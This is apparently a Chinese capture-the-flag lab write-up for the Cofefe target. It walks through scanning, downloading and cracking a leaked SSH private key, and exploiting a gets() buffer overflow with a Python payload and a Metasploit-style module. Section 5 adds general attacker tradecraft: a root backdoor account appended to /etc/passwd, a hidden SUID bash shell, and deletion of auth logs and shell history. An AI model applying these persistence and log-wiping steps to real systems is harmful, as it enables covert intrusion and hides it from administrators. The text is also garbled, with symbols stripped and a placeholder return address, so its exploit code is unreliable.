Cofefe靶场 SSH私钥破解与缓冲区溢出提权:3个Flag获取完整路径解析 Cofefe靶场渗透实战SSH私钥破解与缓冲区溢出提权深度解析1. 靶场环境搭建与信息收集在开始渗透之前确保你的Kali攻击机和Cofefe靶机处于同一网络环境建议使用NAT模式。首先我们需要进行基础网络配置检查ifconfig eth0 | grep inet addr # Kali查看本机IP nmap -sn 192.168.5.0/24 # 扫描同网段存活主机通过扫描我们发现靶机IP为192.168.5.163。接下来进行全面的端口扫描和服务识别nmap -sS -sV -A -p- 192.168.5.163 -oN nmap_scan.txt扫描结果显示三个开放端口22/tcp : OpenSSH 7.9p180/tcp : nginx 1.14.231337/tcp: Apache httpd 2.4.29关键发现31337端口的web服务存在敏感目录泄露/.bash_history /.bashrc /.profile /.ssh/ /robots.txt2. SSH私钥获取与破解2.1 敏感文件分析访问/.ssh/目录发现三个关键文件id_rsa : SSH私钥加密id_rsa.pub : SSH公钥authorized_keys : 授权密钥文件使用wget下载私钥文件wget http://192.168.5.163:31337/.ssh/id_rsa -O cofefe_id_rsa2.2 私钥密码破解加密的SSH私钥需要先转换为John可识别的hash格式ssh2john cofefe_id_rsa cofefe_hash john --wordlist/usr/share/wordlists/rockyou.txt cofefe_hash破解结果密码为starwars2.3 SSH免密登录修改私钥权限并登录chmod 600 cofefe_id_rsa ssh -i cofefe_id_rsa simon192.168.5.163登录后执行基础信息收集whoami # 当前用户 id # 用户权限 ls -la / # 根目录查看 find / -user simon -type f 2/dev/null # 用户文件检索3. 缓冲区溢出漏洞分析与利用3.1 漏洞代码审计在用户目录发现关键文件read_message.c分析其源码#include stdio.h #include string.h void read_message() { char buf[20]; printf(Enter your name: ); gets(buf); // 危险函数无边界检查 if(strncmp(buf, simon, 5) 0) { printf(Hello %s\n, buf); } } int main() { read_message(); return 0; }漏洞点分析gets()函数未做输入长度限制buf数组仅20字节空间前5字符匹配simon即可通过验证3.2 漏洞利用开发构造payload结构[20字节填充] [返回地址] [shellcode]使用Python生成攻击载荷import struct buf bsimon # 通过验证的前5字节 buf bA*15 # 填充剩余15字节 buf struct.pack(I, 0xdeadbeef) # 覆盖返回地址 buf b\x90*50 shellcode # NOP雪橇shellcode print(buf)3.3 本地编译与测试首先在靶机编译程序gcc read_message.c -o read_message -fno-stack-protector -z execstack然后执行漏洞利用(python -c print simonAAAABBBBCCCC\xef\xbe\xad\xde...shellcode...; cat) | ./read_message成功获取root shell后可读取所有flagcat /root/flag3.txt cat /home/simon/flag1.txt cat /var/www/flag2.txt4. 渗透路径全流程总结完整攻击链如下表所示阶段技术手段关键命令/操作获取权限信息收集Nmap扫描nmap -sS -A -p- 靶机IP无Web目录爆破Dirb扫描dirb http://靶机IP:31337无SSH私钥获取敏感文件泄露下载/.ssh/id_rsa无私钥密码破解John暴力破解ssh2johnjohn无SSH登录私钥认证ssh -i id_rsa simon靶机simon用户本地提权缓冲区溢出构造恶意输入覆盖EIProot权限防御建议避免在web目录存放敏感文件使用ssh-keygen -o -a 100生成强密码保护的密钥替换不安全的gets()函数为fgets()启用ASLR和栈保护编译选项5. 扩展思考与技巧5.1 自动化漏洞利用使用Metasploit框架快速生成漏洞利用模块class MetasploitModule Msf::Exploit::Local def exploit payload simon A*15 [target.ret].pack(V) payload.encoded exec_program /tmp/read_message File.write(exec_program, payload) system(chmod x #{exec_program}) system(#{exec_program}) end end5.2 权限维持技巧获取root后建立持久化后门# 添加root后门账户 echo backdoor:$(openssl passwd -1 password):0:0:root:/root:/bin/bash /etc/passwd # 设置SUID shell cp /bin/bash /tmp/.rootshell chmod 4755 /tmp/.rootshell5.3 日志清理方法清除相关日志痕迹# SSH登录记录 sed -i /simon/d /var/log/auth.log # 命令历史清理 echo ~/.bash_history history -c